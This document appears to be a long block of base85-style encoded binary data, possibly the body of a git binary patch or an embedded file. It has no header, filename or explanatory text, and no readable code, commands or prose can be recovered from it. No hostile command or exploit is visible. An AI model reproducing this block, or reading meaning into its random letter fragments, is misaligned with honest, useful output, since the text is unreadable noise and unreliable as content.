zf`PKqk9Z8b)g%ZTXg&ho;fW1K7w{K+XA+a?=f+4#w;SlXGh`(1BQRspMosp-m}V#L zMxLj5J(#CtCoFFH!B}H;w6|ko>BM6(o8Q&)rOg8y+A6%(+>X^|m&IIJ=B){Pj5fn> zBaz9Dicc@QyeMVeyXa6jzVx#GD`KIlFcpv2bC*hU(stxUxT4Mjzwi_pR8%&p_>Ut6~k&yO82y@=m;?|8z$`^;HChRwT zWSgh(^1)zTSVqE9_n~t|;Igi|^_Q;1VKQgAjf4JpLTdwf zw~fYN1oE26ogWc95(dF}0}MiyNe+l9ptm^^_TovKIv~7Ek-+7{`)1n2ftS7c2uX+e zz!HxTz^LYSNJ0@IATCN8@iaD+FGy1`8pvC<`- zbFt}_iEucXh=dc*KJ)5p&$K1O;Y1=FNf@8oJbJXGtTp~tMZC4Fz>{rMkW9QVWL zm8*0FiN@W#U3wW3Z~gUikAC};j><~MC%^sZbLpP+k0>lF(%W?8iTvGDdI6I#!_|;} z%yOgIh2zBncu)7im1a;xL{wmZMRbUzvQ%4=TU15nlihVUcHJ*!=j(p4^9}7s{ z^Lx}Ii#*jH_q8iY&F`rZHQ^e?q4MTUGkn|D)Rh==%M6`;VY@{- zRg2Yxa}8%@rDo1cRW|pPIdWxgUQSf=6~;w897j?pM$TxBNE&ae6=92^XGw|OfTRW^ zF4Ox9s;en!b)#4!`@>75V~MO=a%{=DB`U6M^0e|SCP9uFed$8uN`vDCZyQA-JQu%( zJS09rlHm70q@iUlehV#R>4;1JM@Gq{bVj6%IOm?ui2k2+N~5<$n!Pe^#s~O`@8ZsK z;&GjyJqsDua%1{?=>hybmR^>AOt#1e@YgKA`MXIONxx|9Pro2b(=S{&ar*JM`cI!$ zAA0<>x+lHw!c*z}@{>wZ-Xgt^U-+lP8#hi(ZQOWxaHOMS?b?ox5#^T`;bW{6b73jt zd{IVz_YmP91j=vef9Wdu$@KmUX9%(MolfsKt>ZkrQAas~UE}*P{tX%)hLgsCh6$-P zr1q#|>S6ULY;S<@r_ufE>s$+JI#?45)zF_|ul}q7mXpA;-0%=aQDDIgVximPc`TTn zF8|DD46)B(q7Q+Cuq6>$A)GpqT2pRb_EqhWCX zZA-Hw^q z9u0{K7&}pO#EcOYut*@^zU1XMJ}Zw|-jW+&5adtWei*UkDxOm3MAb;p?DH3eJmrfT z+Z=A=)Z)-J(NIaXdEmOvyvb0mHDq*^NO1t@w;8Zep2LU zix#I~HVAu2*qH$xkAjX{4VxjMuF#5&IZB?vY!@24xV3BLo3Qytj&6SITTO zYUR}_<0W2Du~UJCXm)iQWAzqmtWX=wgCnAVA8S3jr0z82 zSo1^}pTe)(b*_4aLpn0o1wY9#g?ha)* zREJi&0MF>J8}Amy;>3f(4Q{{2TZE>O`KCO(-C{3D9krhVuiNah&~6vSe$9}z!s9l& zec09Yx{I84OURP6sBVMBff$pe$Y$3d_w7#fUkxa1GvhwzL$L-da0ra$LZ02C2o-V;73uK#Qoe&qC0hc06p`O_sSgonpFR8RX$V4)1O$1OoR~Mzzh`}j*m8CYVln;4 z^DItYL7e1izk}bM-SRf?>gysAms6Dz3p^>kPIDygY%ybQ6t}8gJoIpjH*WSi8=ZzP zy!qLm{!~dRO+URo?N0}Oa7?}W*u?GW#@pc%ER}vdefnm(t9&&5=IBqp`qi&2KPipM zkW`h{3*Sv&xNx63EPs*qymH}V4?Lh8dgU+P`iUC*3;F)^hbZMOZ~cp!f6LYjKINsY zFTQy9-K#G&C{N)0Yc%~0aaSfSy{3&AeLg0FC#2x9G#@_FLQ*>95qS!J=4m2{GbQY) zjDm~rG9KVn{~_GeFdHRqZDCbQyyq;9r|f9Vq)=f5&!lKLCCq5~o}!c@3<@ppv9_lV zefV$~v!zM+vNtajV>IQVjdmV^z2Hn;deg|Phx9RuR`j6RUHCVFe}*TrAvzD-mj0CZ zQ}HlH)YUwq7HT=dN<-?DRa$ve)qPN~t$wx@e6J7!)>{p*{Et&<-FkG725(gAG?wNVLnlL&vPJ+bwdx=LAR=a1lUtSe9HizHDllVVQ(u0GED20(H>sYFtu>_dW;Ra=76^ zoC^OH)4$fZ73~q#oa${$$giOh`pt_;W&dK6>7*QhQ!BPR{)eWf+L^w?sZZ&7L$_K8 z*bG)hOOqEFH&e#grRBQ!1j&mYa+@4=Vp8JunXOa&uR_ZlW_e_Q{#ChsMSf|DCa9^Ll3@URu;wS`i-EwrE|o zHSr<8G2UES87nDWl>R{aDtSlxDgpUhmR_mcr#uJS`&ci* zI~qv#JIxvn8%3(FL1T*-1+@3rAWPMTnuM0nykY%fgVkzHC9Ju*RwIyuH@n`HAY=r8%6$jFdefiQ zCT;lvf1NkFYjX779(!Xd67-cOg0Y@;-QA5%fyVSt$D|)_%|h{IeYbxe*T)*xuKnWb zsle37BLOIbR1`YmC4;rg6S2jS;q(`Eipo2xb2I0D6J_fYyZ@`;UIq9QS_ z1%F&1Z!yXDo8(5*PLqNI+C0Bs3X4UA%+d^-obWAz{U18;wy1__ufsEEQ?rJ&xn6j@ zkuK;s&RlrnI#O}qdDi2npTLF+?WNGUxPJWx3r&@`0cq!tCR!f(s|%0H*NR<(D+daS zZflOUMv89nTz(4<(D(P$torh%#uXB475;&)Mps86I6Cpi<6wx>*mq=0#Zd2m#^Nnant(5o!^lDg5#gt z+qt55?5)4MglZz0*(V=`M5c4^l;+ouw}ql$nzP3!jYrYcI7Fs75zZePl6y~IM>FU~ z`b8%a^>yW#otW__A8kI;x(I)*SJzzqQT$P_?MQ!LKAHIuW4DPHwG>YI6h(t5$DH4Z z83)b>21Zgs>skVXT_&r|l9R)4bMQ9DqET@S)Dl4?5xfg%(o9;zl9WmFMN%e{CC6gb zcYCHIu@vw6msd?j>}rF{9CoGZ)pTF_~RIq9)EpoDA?xOs}BcrD<8f za*@sm=YNpu=cOOi*BL6}TaH%MV{7{UhCqZ)`-SZaYxACb39WxL!jm1fy5*GUz7x~jm87f48*fk&Z5KypMJ z6UqmKTqVZE9+Xc}EC!PuoM1M~+bv(UDElpcWKsGp>nuAgYLi8JEHR6cW3gM&VA+E8(O^afQj`R25KfVC`%lbB|85ixd64=#`&|9Vv$Gs*G@l*+%J?c$NZ@8)bcq6c4(GrVNiWaH{z@Z)*8wY_i)3HTt zk_KMVaWZHy(FPl=s?PSOM5A8SvOrnNZk8z(tU=w-N*@sqXh=p)FI8Ip+=o~ugT6&W zJ%`(0|49u>eQaSI_HEF)^ggDqgXkx=cPI+f(tl8EXM^*Uixc%eQ@W#cG5);x3-p)t ze*k}l_@glo_R6qLK$c1|XkaCHEo?cyA#{%`7N}*LNz<^WdANBB9*5cAu)fOC*EnqL zj8i9mFSS^;3MR`a_3-fU)bOcc1MG`t*GPKmFNhcA<%V*lS@{~JRz8=xEBzYsh9|## zGc+D0HQKbZfE$lI8X8FDj3<}aVfwM*A7q8`XChBT9>#R!D25)ha&+1vEVc*n3*TON zVFt=~FF-Te)o8+i5{oy|5oPmV-e|w$@YEgl8}rxpuU>2X+5128M>j8C)QdwKAw$Z; z@}uA>$Nef!qqjkmgvM;#GIKUX+;|t7m;lwjAVcbUE;+ASOb5glkiGVxu%W=1kCUMz zEr7r(%POnlusEzoEJv&cMObr8vRAR<^+{aa5?GUhCR`;tX~jJK*Wyctd~*=(@g_>+ zF=7i?3}Qu6t0vT>tJalpB~4IJ`q6Z*hi<3x6LW8V;yMaHaoEI9tiOMK-=<9m4)oH3 zf;wFFURn$MTKtRQ3C`oKxjf*VM1*tduro5AW8mWFSOcjXOaP>V@eB^`*g<#_(8^Be ztFN`0s3G6@{cKsiDC>9Ms1XCC$Na66+qOaLP??|>goY@dQzt@A^z%eJKQvcwUrL*h zt0vA&D0LIs#Q6zzLL~HC;!F|Hc{y@;g6}6%NhybI$e|yrCHvrDEY_=xX7S@m_~|F` z(?iEUDp!r38CB{=wbApV>gc8T*Alf&eRDNvV=dnGC%@Y8XoI4gX@x4{2%#&+T}v?% z9??crfn5M4JW_}79&86388MN)B-hArLuc=oyT9D?WldEs*I-WKa!^Wl%?)d4>}Osq zC)#t4dX3uTIp_^JYVnc95F@W?xr=+; zb-lN{zY1rC++a2v8cbQKSqD-pDPuiv-t%s%roK+KEoMt!#9Pq7SL$Ht>xz37*cF`7 z967nERm0=MO8)RLUHn>&$Z6Q#;wNlx(G#|}=z%?b*xp)Q2bXNeR>M2n9t4iS;;nHU z!BeZ%)wE;82Ha!t>gNyMC6bAF9!4V7TDi63kDLFR|( zCz&7O=wAJ8r~Ve!ht{Ae^nV};%dRNP0p=RS22ywuQ4zQU>${@u#Un{SV!R} ztfSDAt)r}=OS5Z8jMG21jzU{G`gox8$Q)Hrl2KTM*+JfX?91dgGmmQiWsATd_&o+f zoa<9pF=5X48Mxjk06$Rxexd;UL;>i@1?Zy!^u0|1sDGrtwNReH8p*FR@c%{k#<+*% zLp8N-SQ}Pu9v-&YAPgb7vn5B$1#-$XsXUC7r6-V*)EM)7dVD@A_Hr^6znnU!e(ARf zW6oaO!Tx*W{n#b><^8@eW*uQH&89sO{nCPyFE8Ay`DjblDsiA|_u5NBCCL&s&rlKy zgDmGxT0@vd^5jBuVt%WZ+3g`aR0r&#NCb``-aL^#0Jh~~{bs`ng3aS3M)7DVJbyyB zHt6^LcP3a=w=SfEOIOJ5 zjrV@w`agN#kNyavPW+{KUcDDIE*86B49t;Vn96rJLu5|yCC!0aD{kpAKyNuWWw63a zL`KWeOcpzKQrt!|fOvmyXUc1}6D1v113g60nsmSy#xq0#IwwYzlh1-64Xoo%)Bs%y zO?;-vdl@awuEs(-LN@8==<2m6te3=TJAn$=Bg?hrJJye z$WqVFWBqKO@)&2oUqs)3_P(JZhhzSG;38@X_h!shZ_O3LYF&xBP&9KJU`ysXz)phl zHHwjMFnp7sA{kogt&+pg4p<2L&J*Bl6>p=!K;brq?V0-!?&RIuR8E$5H67iM7 zo+$xzGNdx#U;(L;j3>!>lA;}7CK*psZ05Ho@ns{vd=Ai_{w<)BVH96BaV?sV_Bn*x z8B&d~ieN}Nwg?9>v~a#HqJ(3D3<*OE?po3Ji#evB;Q+%S`Nw%=A5BZWDyFjqBSEY`5X&gahBS z0~>`)I2>dc#h2~CMsR>*hS0|Cz((I+#&DG3=FBfeC)1&m>DCFHixETA>jci*0E3wu z0jY$YT*6M^q;IJ1oxn-qwfuI3!=s#P1K={T47n^5Cq=oqjLUo(m-aHm42cbhnE-SG zZsfNc`7N{_5VM)%?-%z2!%60WlVTl*PXa!o)Mmy3n;8xE_0G$No zZ^fN}Z)6q&zDW>#OE8eR3otH5Wewgw2lysIyd{{E`8J>(uoiE>BWpPZm*EkUlnt4G zkV&OD^JBnh<}tuq5Yr$N43iA&88#AB91Oh-!wgFq#u!!uHZsme#@Wa?8yV+oxP$jY z`I@Xn8D3M26jrR63BVkNpcTR%l=(FUtq&Ll{56;Mb)>yjzK*m66PbR%dWMY*e=F`r z%p1V)I_eIHx)U_g_ex&oi+}|jMCRv!Nrv?d8wnyUzCl}1*vrt*FvKv-FvhTwVKpGeSm2bDyCNxf zK+qo$^arHejl@5IZ{n?y_y-XD0|;(W%)sy*pgsLNKqo<>IUs1RV9g6?LF<1}v7p7j zs95=XEAcSG;9w3Yl#6~Z}OiyW?X z4x~yyVyNypBvk+jXAbIeDt{F ze*$_q23(3Tl|M%TmjZ%I0l}q!ad876xKznSjwb+<4C@&-5(H%k`ZGTU40AZfu##al zU>@4{DL`;IF5Of6+PN-vu8W=Pf{WkC#m;rHqb_$NOf6#Px?t~@!dw?S*Tv3tv2$JQ z)YtHqYGLPE*tr&Vu7#cY8se!IUgUKUFo`d{$dSSgnY#fSDU7-hEI2<6dR7t2 zOt6$8^{*n7oFMhDVqp6_z$C+ZhK(psF|Z*X7zlyqM*QI zN)!|To8tnDrdLf#G(ByYWpYa6Sy!&0&pUFUKswH=W3Z-VQPx zLQOl73&l{$JCVy*0V$VG%nfb@+`#ddbJ`sYui+S~OQ$l)a4*N)fN&R6xQi*=C5XaZ zOyMp;6z)RV5QDN2?B$px$fZl^M@_p>HVO|S_b$%2OWDXVn;Bltsm2&y!7P#?VhSWr9-?m3kGTd@r|eFQ@HQhLCSBC{OX!zSv9R z7;4SMoY!LheldT)m`l4DUp}NP;qR9yn~>KMWjA0y$Mgfk%Lr2$`js(;RF{5b7eoEa zz5LBV#0)U+4KSY!D8wfNT+RWMio(Nag#j+r0NR3LE@w!bHo)z^9HZ6ymE{jKp0ykl{wm-E!-M?&4R|}qH5%j^4KfV}kr%~NUW43rgUE$qi021^|5iZEgaJoD z+d=MAgG|FgWgKlfs1U`5z||#ySZ4u#4fzhCjs%IThmh~XfZYr=&~}J(A42Z*b^!Gn zLXGGfqT~?jLNS{O1L|@s;1wL+#&A2o-NE4r)OSd^n#07^L*Pb&yBSV${Phg?Gd#fX z5W^er%?h;9c|a#aYNHk0Mk}}$D^QC&5px1{T*2+N0<}O4x6}%z-U^ieVZ>1RSAagi zz_nPRY~nEW%@xWPPDQP=0yR1aIL_a1<+oSx+bcO{8;7^^H#<0d6+`N|D^OF)eJ8_R z95cz`Jq)j7cs;{I45=@#K=2yaIjhPigbT(4p9 z9>q}YhEcnR0IBB=gThZMtC(k2fgfs>wagW3(c@~-+i8p#0nUe&bv$aU<1(yc-dhK5 zM?CYuI+W)jg!_SQ9b;RE94S1MX#}KRwhkp62PApE4mj^r)^lCf1JBP9rqO3T*9(5S zfNed~e?9ub!w8QHFCf)xy+ZPNy+U$$lzDO#c)p4-_3lw%xD${@nNjX>qfDhyF2gAI zf>Ge4Z-@g&8QVr>E56^zm-w zT+Yp$*JjRZGjh2T-%u`_nKE0@mrcqR^kqQg^)w*WVheJiFx7Vp@Kbn#;Vy9qeI}UN6I`AN9uX!O!%lqv zl(Lh*+=(wALYU@1JNe6<{N>K(-v-N3e+G3;jg?`Ax^8P9IceK+IT%^bBG*nW=h zcOsYFjB__rd$&Sdx|_M^TBg#qOqpvr?X_ITYq^fsa_z3=FDE(QN&bG4bDU(#Omdkg z8UG~GzN}1gE|Z*g4}ZCbzud!L?%^-5=lJV6=6bH_0i+#Q4j|P*3@*Rc8I?}#4US>zdXbgIK*Eb;x7+zc|OAQ{0P(YW88y2#y#j`Jnlm; z8m;g#j49)QcQd4s@fL|49zg8v0Ag=Pxdn56g4o*u#NG}d_I3cVw*!d19qhgJt1AIj z{0Wg}NMR{*WH+7^Rz$w>g=|w_sT|-h}VBX2WK2MZrWiY!NOOU7w_XRjwtVOVs)H>6i04OWzb+DH%UZKQ|wHqyg-8|h)ajr6eIMtWFpBR#CQ zksj9DNDu36q=)r3(!+Wi>0!N%^swGWdRT8G3g=M0vh}rbU6ykBa~H(tQ`ozn;~fa+ zd#~cK3*iFqehwEd_}-1MBa73sAl{E~zW1a2eGz?=#aXi8o6v%Al)wLD{=SOCU*>Qv zhwr7ZWkLBZ3-Zcc5T83+ml1ITw6eB~9b&7v63?*s8vaJa1cz6MN!$^i6#KGYg~cNL zx(+D_Zbkgn{6!cs*C2fYX%}<+)^~_0i8AOV3**#%64>|8<#s)AFGIQX{K#fVo2V1D zY(1n6y1Z11UZl7N&owCFRjAEAL8;cDR@dY2I&lDS8`tJqyxT5z&(-NVax1*WUK zD>;9{LvOCeZ_0Ha(ohM)*>qHCCL29bQcBG(EUC+7E8%np0pL+TC!IhrHA|V-32 zJJoA@7B`iaV)mmHH*j0c^V=l13sFUHy?tC#;DPR#(ytph^}odvvpwhfxw=qJyP3K=XXqFw#jb2= zsojZ+R0rY(>SOaX--eW1!C@4ur#}d)6JJov5dE(~+f%Lg;hQkNyqc*tk72e%L<4Fo zoja&CiC1*KB78dbt-wYSK<7s4Rok;QS;*Zwg>{bH4n0%7WeDRn++V0Au0yGGnLv4l zS*8#j^e<*P=wf+8^;lRxDiu-V3dTUKK|H>YH@AzupxZ2EiMMC@pK>JLCQ9gK)O+tf z{HE5u3UBmQC;IC$jQSGwWW6_0Zp54Ol1+b0efKK-y^quDJV*R|C8wS3Z?m~m3tkV5 z)Jv$}>b027oBG;8eovIwsYWHBKBQBTN=s5kFYzpPD&ZveNP17)K^(V&L-P{4{UVvP z2KcW+{#26da9X)8o8PR|ZUlxp{1+A#z(hPjdCc~s$_2PqKpxNY!#9v(1mEiYo~Uyj zxO=v5jxd*of3Ix+tI;D2EL2{qz21xUw%6NiR;FBr@gNM_CDcY?++fLB zou%0SXzxwHqbR<;;qI=g&c?ndvdG9HdzhKbOeX9}NZ1KNBAW}7WReUdnUI+f0xl%7 ziy$f}pvWehxUne8BCe>2qKF$RD!Zs4D4=Zbuez&x;_|=$``+(+-uK?``QXX)>FTO; zPMtb+>U4FV(_Ar9%F|FXOi9CeveE~u zMjHMP!rx%juc^cuf4rCGtdOf?WZubg(^{G%XO1<3#*`+XS7xvHdjHoEYGcT(5IjaC z#jQd7KWN3@DVs9kvYvq6bC1Rcs-~^v>nWGJxgPuzZ7%&Ra2K)Xa^xdpVOlR!*Lk1# zn3$^sr^;;-mn`>Xcn|p6P`xMrH0FGL;ksz9;ig5BbouP((v-cs6ptP3C=Zuz+$@EJ7$ZMiLs_zC}+(KqRs7&s56ukq&+g%|G5TrvF0&f zWs*_96aLyNUVKX<5pPo2@aw=?C#;z+W95v&J$9BdK-9G3ssmSCIOlL8-knM`T6yrc zRFd(>*AIR_5=Ji(V~YRf#{YO@ZLfZ}6>rF*=x751!9Yb0y_k#4Q6KfnoTKtQ≪P+Tw+*$qa@!i>|Uj$m6(YG+< z@59k=oQ05SlCJ>f-BY|(^Z#86{O*I_m-6+4ul^i6=jXppMXvRofu*|bv~Xuul=$;} zIeyzZTV{dZHYive45P@F8Z0ddmioehV6m;FFel#D+ZXozn@XKIGTX3VVHs~0vh^!Q zJ4aHIy%T<%@wVi`Lfge{neAN9`N{Wu+C!UdH7XoZv6@p?l#{zb{;bOT0l&8M+wa#6rP5uxYT6S5{aE z(BKv1i-I5$D9$Ylg^jL;!WD)7>XP7t6XI0-rA2{a2m=*^Oc3ia+;_Y@@+d+Yx z(jXtBc1Ep1nZ{wQEwdD3U*szt$9v3&Sz`O^^gv(op@e?u8|RIWN7gXg5MS7Kvn_Lw zEh8^4-eAmM81k1Fpj!OkjLd%N{Zf-N`(+HaWu)5%_DfA0JS@$Y+-GQ7+Mu+-nKff; z#%2~^D5Rvh9&yCz9C{r#M#16-GcTB5>MJRzFz9gQ=W@!fuvG-hc*`8Fq2R8pIM>iV z=mZqX&}-;K0NRY|zWh=@hP*f&ZySkb1wN=wFq=<3v<&}=87{4Iu7Z9{9bn82l=^eR z(2YFEJ|ZVR?7@7@7gRAOnbi)%360M#3j;OS3}O~S$g)FiLXs&czaM#!s7fFYL*a#l{!GY_N54FSL8Eir;*Br!!w5p7VJma|rNyELrGjsxa;P9! zR+tN2oe=Ps8@lwjfj8=5B>k`&Vj^>$v-$|O3}c)VwuZ{+m``vmEa%_!i4UP1Tbr;I z0uku=!d-ZUtYOKvPPVpQS7JL`qQl$Cjt>dN#AFRXq21wdx$v8qkZ8l#Vv^iRHDe3H z;gT+$JC~Q2#}|oZD?TS!WRWpequ!;yaxM!@K`;eOLxb6vp@U%~gD~(N`6Mk3h%3b|J!};cJQiWO*j>1@+pTu9}`Y<>S=5084T5`!^@&egGUd7+bpf0i@ z)<>*CL*+VT5pRTibd8lJi1lcO+y~9!|J|gtP+B6wpf&be+Q1)fhpZVLu=mvoK2>MK z({;krb-};&z~A-4TkL||pWT%1N)Ke3?FFV&u-nobJ1FVcPw9(2mj3XW2P%Wm)eLx` zw_uND7)IKGdOXWUx`Fht`Z$|6HRCAe!U zHSU?pAhvSsPF7&2ZnAQha<_61^4m^PDwQhbK4q#hO_{FDP-ZH#l-bC7J4bmynXAlG z9#rNl4=E2Tk0=Y2g(_7ZQx++URi-?SJV;Ab9r5eSl@-cLWtH-jvRYZAti>~u^~%$T ziFsCePI+E=LD{HmQZ_4F@NWG}%2wrN zJIcGtd&(Z=ePyrmf%2iUPx(mMuY95$P(D>YQ$AO|P`*?SDqksIE8i%Gly8;ql<$?p z$`R$La!fg{oPc8fpqx^ERDM!^R!%EtlwXvy$~om%k4`QLk4UsW+&N)h23FwV8UO+FZ3E$7l<+ zrP>NvT5nd{sBP7DYJ0rx-x2Tb$K!2%yXwHZ`3b5^btAWEqUu$X)GlgQwVT>q?Saof z^g`HiikhnSR*_Ft?W6Wp`>Fla0qQ_?kUCh+P=~0us6*9ZYNncnv;o8M6^oJTD0Q@Y z8@{=8hkBR5H0TBsJO#cB`IP?xGts>{^n>I!wGx=MXYU9GNB*Q)E(_3G2=2K5>BS@k(g z#TV3#>LzuwxIdqFNUiyi`mwrS{X{*WeyV<^ey)C@eyJW*zf!+ezfljV->ToK->Zk!BkEE0 zn0j12p`KKKP*15psz0eetEbg7h+jCXo>PBSe?z3f1@$5#0sc@gsh8C&>Q(g`-o{ro zO(Pn`8}mBeh>ynmD-oCD>)xvwub+o!#J*~dhKx?Qxsa?n4VaB`2jqwI?Q>~eH zBi`$^X*X#tw3b>c+G`!Oj#?)zUhAycHHYTZ5_qaL#GWT=UM&f4 zv3A89pLlx{Z$|dQ8;dDgD&AF0!yATu@J3)iype~u>+ts0V7xswM7u>Big%_mwJiQ- z6W%5oi8qHv;~gBlZG(4V#^7z1Y%K@xpZM{{NxoK~1@L~zIK0V$cP;QHM2R+DE7d|; zSS!Q34dvQItwNimP1f$x?$++n?$xGfm0Fc{pEgySrcKvoXfw50+HCE9yg~4QHdmX6 ztSq)NL#Ee(H_^H(3WaXYRk0c+6pAwT%|pwt=86PYqfRS zdhKa#gZ7N}toEGty!L{&5ve#gYg@DzwU@N5+RNH2+BR*wwnN*gy{hffUejLJ-q7CE z-qPOIc5Clw?`rR9d$jkpz1j!bhuS{vBkf~tzxIiCK>JktO#58>LiB{BDa#^ zWCR&WMv>9vHgY?;1DWl{5Fg1VIm!-_OZ+5{wOF*4tkknyCHgh&`) ze4Rkb$wX2?CXvbHE^;@y2YH02kV;ZT?juvlG%}scAT!A}w8Y$Th=X0nC6NM1tvBJK)oBirE=?1XEui@Zi&CvT89$y?-YvYWg^-X-smJ>-3| zmwZ4zB>Tumo^rOn`uG)Kahn`jH#lD49) z>CLnaZA;tH_Ot`-NITJZ+L_wnvN&l1b>Um!9-2tKG>LYhU1>KsF+GrCwiivNDKwS# zrfD=Cu1#OskM@UqGms9VgJ}j*%iKbT(qS}{X3<;ea5{pHq@(C)dK0x?=9;L_Vae9KDq(9J8^hf#={h6MoXXr2VEImhm zrN7bh^a8y|f2V)YOY}0mLa)+mOhJkrjS)uisSF)?eWFscdq18dBhu%@gTyAf$=Z0si1g0*C=SZj7OYs1>IcC0X=~kd?6UtdxaVn3b^!tej0`6>Jil% z_p>?d0XCP-V-K?V>>>6rdxR}u3)!RWF}8>;W=q)P>)F$61AB%&%bsJ;vlrM#wux2CAO8l%wA#J*mkyq?PRaAUF=Sl?eab##pR+I6m+T<>iha$#VTaha z>^t^7JIs!-qwE+v&Q7qC><4y={m6b|KeN;94Eu$hW#`zh>^F9vU0@g4@9YnDiCtz_ z*j08-S9Dd^bfQxvu+@V3VU#~aPZ_pd- zP4uREGyO)rxo*>M(p%^)^;UXo{bs$5-d1m?x7R!99raFnyxv*2>ki$iC+IHSt$XxD z-K!_*UG%PcH@&;w1IcrH>B)MEo~rlO)AV$`kKR}Br}x(f=mYgZ`d~dnAEMu)57me1 znR=Fft3F&Gp^wx@>7(`A^xO42ka~BF?$fjN96eX}>v?*_v>@? z2lTltz8Kqvb&7+OlzwR>*QOQB<75c|T`OKr-#LD<@OqRqSQzjvOl!J`(nok&=QyO>^6T z3meE|{1bBueMKB94wYe}E)Xo$OR&Eg_Qm*0OM~Tw{=9IM0hN`+8b@Pi$-J10y&)6I z4u%U%sH`NnxQ1wuTbv#8$70vCfRBllceq53tm&9yzi#K;$9klQmB~fK1*@eNJaZwmUeq`oZVV-#`4U6+| zr~sSJ%=nGU9cLV4@}TL^uHeL26XJWVQT%~Hep!imEEVUu#pZcoo}LpZ%_;Q91d1nQ z^JflW4vDf5w(*U}K2V?u)(Huf73+D}@GkUI{==}rp6jPMg=N{S01pYmQFzFJt+w2_ zqOy=sDu1nNFtlFl*Ix^ajVtz*;K2rVstdRUD&~_JT8gGIzPv!d<8ZpX67nYLeKF#R z33^|L*X=S7ZijJ}kPwT_?qZYwsASW)MfuEQTq^HPSy5i0e_~ut1g5EcGUwnYDowON zpSW4n(@ZPqHx4w7*Yo2iu1}OFxsBfN7EY31b^Dk8%AY7~{r9;OGI8k8uL1F^+HA7Z>8W zM<6G9puAitfx!}hRWJ-DNh{7L{^IC0mKc9un`xEz%-M0 zILteoWp)^k|9FS91b#fOGlZXI;x98hoFzJ3COSMkf-$bV8a%QZToHj8>~MZ477uEQ z^9>UYTPne*t&BG?;WZsxiZdTllg*W zfHl(0^~yMjPQ!BuUOlE?P(U>@iui-CVzY8qwaT#>MgDxVdffo3|A_)KD9{uvX{@)g zE($ty6kjw!hjJ2Z03I#+;3pJi=lZlkW!m5}ZA1WCXVBD!1jx{WARA^ZrJ266C_$g3 z76izUP@o3KA?el@7v*`Zu_~K>>KTad?s5-rFyxxnmBl4Tyd1z9va zl7_=&;d5A692ORbg~e%M!H0Ocf#=*yEOw{GpVPwUwD@ycn4K18r-eDe!kl1XPOva1 zSTabkXe3xP5-b`C7L5dpMuJ7dWzoPy72LZl8ZL{5%c2pHi_4cC@>nerEv^zRUJ@-{5-na5EzF4)=0po~qJ=rp!tAv$d#(O@EgD{nhS#Fu zwP<)P8eWTr*P`LIXe3!Qk}MiY7L6o}Mv_G%$)b^D(MYmrBu21E8j!CTEr(rRb=V~h zhh5Te*d+~zUD9yaB@KsN(s0;iKOA<8hQp!};n^+A>`7(|D7$FuaU{5%@ZJ0qe6cXX zzPyk>KUipjB{(mLGfKz9g9(RNL7+4+o`vzo3tTN;kr{P#c^MBVi}dkjct#%5bA9># zPys9Q!-Z!>zVW_1TI$R5qeaL+K8im{hL-}v#1GMUT#NFu@f5329)Yc6`2oDi!E$jP z)(ZS&f^PzwWLgFenU;Y=re)xeX&E?VVRoDI92^K6#vzF%LD(=}Cb1+48^+5dmIPrfc$vki zuwkGkY#6QztBf*_Y1cdn4zX5nu4G%>Dhau`#p;Kvf)|g|E3R_L>?Max{yZ++g&S=- zBxxjB(nt`i0l#WW4Q(y1+`^uMQ?XhB5~~%5One-Y5>F887B7<$PY~-C%ESr*?ya`C ztv37SbXu}^3!Ck6CW$f*iO~WiYp<~;PXI0=J;|*j36MvUjn|2 zV2)ryqR=|@O-Ry%JrT2)pdmaSl!>(rW!9)B39p4;mH52E??jpK+yDtr3s6Lxq?SOY zqAegx*M!f&C2sbTw~ataQDwyer`?$>jw#~UTO8BGG1WYJ(xQ#}p7gGwKs5BEhzqIm zf`K93ZZ|66Xkf1PfrzcOcHwS!9J9jCx9f!Nm8OvS21@0$=Q)4yjZlA z^9hodW0hph#p;lSSxN=kXU#>qJ%TbhE=j`g0F6jJVbyq9q@IOY&J$dyy8!aOEBK%o0uq<(+ zWr-6lOY9Q&d!Q@UR}NV^6j>j{-5|eejkH*Yd6_kC;$D%LSsaKJnU|T|qaWf<5;jV# zzWk~jOKkee@s-vO^<*!-;!cCNHKoh(MXpK-d8I8uJxgCK8xgU|5sU4u=EunKwXCz# zYt19Cm_49t*%zy+YeLJ}F(VrD0x6cfCS8c|EBcUQ2VV z)x#-Q4_?obhPcN^nKe_qLYsI!Ia*$!5xmSA4>9^Ela|nFtxJI9Jn}|HH8LJzR{*0W zb_FyK`OCH(Mq5c0`XK1L5@kC`D#7Zps~YU+lpt$kJrnKRk{*1)YIVKU;KT?FNkwoc zRfFBtU}uC5Rs}%^D}aPdioCZH8;2!z4toSP4$IzfSW@9IsK_2eQWEBpioj?qslwI^ z`ib&7*C|&uNkw2sCu@XZ-DNwktP4p+>Uyiei4ho*iquJ}2D_`l&IldYbwLOAT0$m8 z-dl-{!;(6OJpvntWp6kvsc;xns!2-1Tv8DjZ6#G$a6uoI*@XDckA&nn@|_=9CZ)`G zeq@=P8GPqQmdT#+ogZ0d(SZFFWw5vsvS`3dk!2PQ*jZU-(SUW8Wfl$CUQq^{Dj|yo zEUqlGXke|DWfl#mWm8;sYnI~9H==KVT`Z#@Sc=zAjNdHdw~YTve3tFN#+6m(;Vw2j zWqC{#=SlVO>;Z4j<2g$~FgVVajkgTUOAfm@CWs?8$2kgzaJn7t23Aw!;gI=2LsG>0 zAo}O>nhl+)(YgEq4|aW`@x%my7Nxl{;c`3_2M{vrL`DtwN20ykEv}^t2AtyP5=YS| zhv<_-&~q5~BVbtEH8{jwgTuT_usZ}kr|76tbkOOHbj)}bWOgi4XgoqP3k3(g>sq3~ zUR}1oFj#J0aSGu%1uy2kQM%nJcyWq8I7J_wqAyO-7pIh+xWjP@-kpN?1i?F2%4A77 z#wVfJWNS=geHK_JIr7NO=t>>mUkj?$FeFgDhEdRBWT2a)U2XZosw8a*LDNW*h5V;4^p-?F_h<*-nzJWj2$i zG5iU$F~TwYF|z^1rddd1{T8UF8R&Gsaj28_S0N)@Nj~Z}hoM>xQ|i@fm{PA+!y?n5 zS}m)vIyIAgwOU3&{c5;mKk8SjB+Fv^Sx93878uh{UXKY_P=*BsB@_!=C9Fy;43+@v zWc;=3!M_$%t6|EbS`AYc)oNIX8&s=h6;`Ka%A#5=Qx?^5NzUt6t0c>KZ%WPgo_KF0 zXp|aEnWY9;%P6&&sAbf*PEAY(akGs9)->8kYBh}}@(eFLNxdtRP%Ny!lrEM42^wpH zp;EEN!eD|%smY~LYI13mT1{&iSFBTxzZ8*kc=B&zGPyKLB@Z=?Ch{z1qy<$-D0XB7 